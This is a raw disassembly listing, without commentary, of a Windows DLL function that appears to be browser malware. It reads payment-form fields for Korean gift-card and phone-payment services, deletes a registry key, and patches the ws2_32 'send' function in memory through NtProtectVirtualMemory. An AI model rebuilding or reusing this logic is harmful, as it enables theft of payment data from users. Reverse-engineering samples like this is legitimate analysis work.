test eax, eax
jne 0x10006c4b
push 0x10045540
push 0x10045530
push 0x10045520
push str._s__s__s
push 0x10042a80
call ebx
add esp, 0x14
push 0x10045560
push 0x10045550
push str._s__s
push 0x10042aa0
call ebx
add esp, 0x10
push 0x10045510
push 0x100455b0
push str._s__s
push 0x10042ae0
call ebx
lea edi, [ebp - 0x248]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x448]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x448]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1002e6e8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x144]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.nxPhoneSelectMoney
jmp 0x10006d44
mov edi, str.rb_amount_input
mov esi, 0x10045580
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10006c7d
test al, al
je 0x10006c79
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10006c7d
add esi, 2
add edi, 2
test al, al
jne 0x10006c55
xor eax, eax
jmp 0x10006c82
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10006d61
push 0x10045540
push 0x10045530
push 0x10045520
push str._s__s__s
push 0x10042a80
call ebx
add esp, 0x14
push 0x10045560
push 0x10045550
push str._s__s
push 0x10042aa0
call ebx
add esp, 0x10
push 0x10045510
push 0x100455a0
push str._s__s
push 0x10042ae0
call ebx
lea edi, [ebp - 0x248]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x448]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x448]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1002e6e8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x144]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.nxPhoneInputMoney
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.nxPhoneInputMoney
lea esi, [ebp - 0x144]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10006d94
test al, al
je 0x10006d90
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10006d94
add esi, 2
add edi, 2
test al, al
jne 0x10006d6c
xor eax, eax
jmp 0x10006d99
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10007ada
mov edi, str.nxPhoneSelectMoney
lea esi, [ebp - 0x144]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10006dd4
test al, al
je 0x10006dd0
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10006dd4
add esi, 2
add edi, 2
test al, al
jne 0x10006dac
xor eax, eax
jmp 0x10006dd9
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10007ada
mov eax, dword [ebp - 0x1c]
push 0x1002b29c
push eax
call fcn.10016760
add esp, 8
test eax, eax
je 0x10007878
mov edi, str.NXSNISOK
lea esi, [ebp - 0x848]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10006e2d
test al, al
je 0x10006e29
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10006e2d
add esi, 2
add edi, 2
test al, al
jne 0x10006e05
xor eax, eax
jmp 0x10006e32
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10007878
mov byte [ebp - 0x448], al
mov edi, str.teencash
mov esi, 0x100453c0
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10006e72
test al, al
je 0x10006e6e
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10006e72
add esi, 2
add edi, 2
test al, al
jne 0x10006e4a
xor eax, eax
jmp 0x10006e77
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10006f47
mov edi, 0x100453b0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x100453d0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x100453f0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
push 0x100453f0
push 0x100453d0
push 0x100453b0
lea eax, [ebp - 0x248]
push str._s__s__s
push eax
call ebx
lea edi, [ebp - 0x248]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x448]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x448]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1002e6e8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x144]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.teencash
jmp 0x10007626
mov edi, str.booklife
mov esi, 0x100453c0
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10006f79
test al, al
je 0x10006f75
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10006f79
add esi, 2
add edi, 2
test al, al
jne 0x10006f51
xor eax, eax
jmp 0x10006f7e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000707e
mov edi, 0x100453b0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x100453d0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x100453f0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x10045410
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x10045430
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
push 0x10045430
push 0x10045410
push 0x100453f0
push 0x100453d0
push 0x100453b0
lea eax, [ebp - 0x248]
push str._s__s__s__s__s
push eax
call ebx
lea edi, [ebp - 0x248]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x1c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x448]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x448]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1002e6e8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x144]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.booklife
jmp 0x10007626
mov edi, str.gtcard
mov esi, 0x100453c0
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x100070b0
test al, al
je 0x100070ac
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x100070b0
add esi, 2
add edi, 2
test al, al
jne 0x10007088
xor eax, eax
jmp 0x100070b5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000719d
mov edi, 0x100453b0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x100453d0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x100453f0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x10045410
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
push 0x10045410
push 0x100453f0
push 0x100453d0
push 0x100453b0
lea eax, [ebp - 0x248]
push str._s__s__s__s
push eax
call ebx
lea edi, [ebp - 0x248]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x18
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x448]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x448]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1002e6e8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x144]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.gtcard
jmp 0x10007626
mov edi, str.necard
mov esi, 0x100453c0
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x100071cf
test al, al
je 0x100071cb
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x100071cf
add esi, 2
add edi, 2
test al, al
jne 0x100071a7
xor eax, eax
jmp 0x100071d4
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100072c6
mov edi, 0x100453b0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x100453d0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x100453f0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x10045410
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
push 0x10045450
push 0x10045430
push 0x10045410
push 0x100453f0
push 0x100453d0
push 0x100453b0
lea eax, [ebp - 0x248]
push str._s__s__s__s__s__s
push eax
call ebx
lea edi, [ebp - 0x248]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x20
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x448]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x448]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1002e6e8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x144]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.necard
jmp 0x10007626
mov edi, str.gamegift
mov esi, 0x100453c0
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x100072f8
test al, al
je 0x100072f4
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x100072f8
add esi, 2
add edi, 2
test al, al
jne 0x100072d0
xor eax, eax
jmp 0x100072fd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100073e5
mov edi, 0x100453b0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x100453d0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x100453f0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
mov edi, 0x10045410
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10007643
push 0x10045410
push 0x100453f0
push 0x100453d0
push 0x100453b0
lea eax, [ebp - 0x248]
push str._s__s__s__s
push eax
call ebx
lea edi, [ebp - 0x248]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x18
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x448]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x448]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1002e6e8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x144]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.gamegift
jmp 0x10007626
mov edi, str.rb_amount_select
mov esi, 0x10045580
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10007417
test al, al
je 0x10007413
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10007417
add esi, 2
add edi, 2
test al, al
jne 0x100073ef
xor eax, eax
jmp 0x1000741c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10007508
push 0x10045540
push 0x10045530
push 0x10045520
push str._s__s__s
push 0x10042a80
call ebx
add esp, 0x14
push 0x10045560
push 0x10045550
push str._s__s
push 0x10042aa0
call ebx
add esp, 0x10
push 0x10045510
push 0x100455b0
push str._s__s
push 0x10042ae0
call ebx
or ecx, 0xffffffff
mov edi, 0x10045570
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x448]
mov eax, ecx
mov esi, edi
mov edi, 0x10042ac0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x248]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x448]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1002e6e8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x144]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.nxPhoneSelectMoney
jmp 0x10007626
mov edi, str.rb_amount_input
mov esi, 0x10045580
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x1000753a
test al, al
je 0x10007536
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x1000753a
add esi, 2
add edi, 2
test al, al
jne 0x10007512
xor eax, eax
jmp 0x1000753f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10007643
push 0x10045540
push 0x10045530
push 0x10045520
push str._s__s__s
push 0x10042a80
call ebx
add esp, 0x14
push 0x10045560
push 0x10045550
push str._s__s
push 0x10042aa0
call ebx
add esp, 0x10
push 0x10045510
push 0x100455a0
push str._s__s
push 0x10042ae0
call ebx
or ecx, 0xffffffff
mov edi, 0x10045570
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x448]
mov eax, ecx
mov esi, edi
mov edi, 0x10042ac0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x248]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x448]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1002e6e8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x144]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.nxPhoneInputMoney
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, str.nxPhoneInputMoney
lea eax, [ebp - 0x144]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x10007676
test cl, cl
je 0x10007672
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x10007676
add eax, 2
add esi, 2
test cl, cl
jne 0x1000764e
xor eax, eax
jmp 0x1000767b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10007724
mov esi, str.nxPhoneSelectMoney
lea eax, [ebp - 0x144]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x100076b6
test cl, cl
je 0x100076b2
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x100076b6
add eax, 2
add esi, 2
test cl, cl
jne 0x1000768e
xor eax, eax
jmp 0x100076bb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10007724
mov edx, 0x10043f18
mov ecx, 0x100407c0
call fcn.10013520
mov edi, 0x10043f18
or ecx, 0xffffffff
xor eax, eax
push 0x1002b6e4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x100454f0
mov eax, ecx
mov esi, edi
mov edi, 0x10044140
lea edx, [ebp - 0x448]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x144]
push ecx
push edx
push 0x10044140
push str._s_ap_sup_spp_sssp_s
push 0x1004246c
call fcn.1001670e
add esp, 0x1c
jmp 0x10007793
mov edx, 0x10043f18
mov ecx, 0x10041c10
call fcn.10013520
mov edi, 0x10043f18
or ecx, 0xffffffff
xor eax, eax
push 0x10042ac0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10042ae0
mov eax, ecx
mov esi, edi
mov edi, 0x10044140
push 0x10042aa0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x10042a80
and ecx, 3
push 0x10044140
push str._s_ap_sup_spp_sssp_s
push 0x1004246c
rep movsb byte es:[edi], byte [esi]
call fcn.1001670e
add esp, 0x1c
push str.CLSIDPHONE_IE
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x1004246c
mov ecx, 0x1003f368
call fcn.10013920
mov byte [ebp - 0x14], 0x33
mov byte [ebp - 0x13], 0xc0
mov byte [ebp - 0x12], 0xc2
mov byte [ebp - 0x11], 0x10
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x18], eax
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x100077d9
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.send
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x10007878
mov ecx, 5
lea edi, [ebp - 0x14]
mov esi, ebx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x10007810
mov ecx, dword [eax]
mov dword [0x10042978], ecx
mov dl, byte [eax + 4]
mov byte [0x1004297c], dl
mov eax, dword [0x10046164]
mov dword [ebp - 0x28], 5
test eax, eax
mov dword [ebp - 0x24], ebx
je 0x1000782c
mov eax, dword [0x10046168]
test eax, eax
jne 0x10007859
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.NtWriteVirtualMemory
push esi
call edi
mov dword [0x10046164], eax
push str.NtProtectVirtualMemory
push esi
call edi
mov dword [0x10046168], eax
lea ecx, [ebp - 0x38]
lea edx, [ebp - 0x28]
push ecx
push 0x40
push edx
mov edx, dword [ebp - 0x18]
lea ecx, [ebp - 0x24]
push ecx
push edx
call eax
mov eax, dword [ebp - 0x14]
mov cl, byte [ebp - 0x10]
mov dword [ebx], eax
mov byte [ebx + 4], cl
mov esi, 0x1002e590
lea eax, [ebp - 0x848]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x100078ab
test cl, cl
je 0x100078a7
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x100078ab
add eax, 2
add esi, 2
test cl, cl
jne 0x10007883
xor eax, eax
jmp 0x100078b0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100078cf
mov ebx, dword [ebp - 0x1c]
push 0x1002ad80
push ebx
call fcn.10016760
add esp, 8
test eax, eax
jne 0x10007966
jmp 0x100078d2
mov ebx, dword [ebp - 0x1c]
mov esi, 0x1002e590
lea eax, [ebp - 0x848]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10007901
test cl, cl
je 0x100078fd
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10007901
add eax, 2
add esi, 2
test cl, cl
jne 0x100078dd
xor eax, eax
jmp 0x10007906
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000791c
push 0x1002ad90
push ebx
call fcn.10016760
add esp, 8
test eax, eax
jne 0x10007966
mov esi, 0x1002e590
lea eax, [ebp - 0x848]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000794b
test cl, cl
je 0x10007947
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000794b
add eax, 2
add esi, 2
test cl, cl
jne 0x10007927
xor eax, eax
jmp 0x10007950
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100079c6
push 0x1002ada0
push ebx
call fcn.10016760
add esp, 8
test eax, eax
je 0x100079c6
lea edi, [ebp - 0xe48]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x100447a8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov al, byte [0x10042874]
and ecx, 3
test al, al
rep movsb byte es:[edi], byte [esi]
jne 0x100079ba
mov edi, 0x100447a8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x10042874
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [0x10042b40], 1
jmp 0x10007a1c
lea edi, [ebp - 0x848]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x10044768
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov byte [0x100447a8], al
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xe48]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [0x10044868], al
mov edx, ecx
mov esi, edi
mov edi, 0x10044788
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x2247]
mov byte [ebp - 0x2248], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0x1004266c]
mov byte [0x100448c8], 0
test al, al
mov byte [0x100448e8], 0
mov byte [0x10044908], 0
mov dword [0x1002acc8], 0
jne 0x10007ab2
mov al, byte [0x10042770]
test al, al
jne 0x10007ab2
lea edi, [ebp - 0x848]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x1004266c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xe48]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x10042770
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0xe48]
lea ecx, [ebp - 0x848]
push eax
push ecx
push ebx
lea edx, [ebp - 0x2248]
push str._s_n__s__:___s__n_n
push edx
call fcn.1001670e
add esp, 0x14
jmp 0x10007b61
mov edx, 0x10043f18
mov ecx, 0x10041c10
call fcn.10013520
mov edi, 0x10043f18
or ecx, 0xffffffff
xor eax, eax
push str.000000
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10042ae0
mov eax, ecx
mov esi, edi
mov edi, 0x10044140
push 0x10042aa0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x10042a80
and ecx, 3
push 0x10044140
push str._s_ap_sup_spp_sssp_s
push 0x1004246c
rep movsb byte es:[edi], byte [esi]
call fcn.1001670e
add esp, 0x1c
mov ecx, 0x1003f368
push 0x1004246c
call fcn.10013920
push 0
call fcn.1001680d
push str.IEPROXYNO
push esi
call fcn.10016760
add esp, 8
test eax, eax
jne 0x10007b71
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x20]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0xac]
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 4], 0xffffffff
test eax, eax
je 0x10007b8f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0xc]
lea esp, [ebp - 0x2254]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret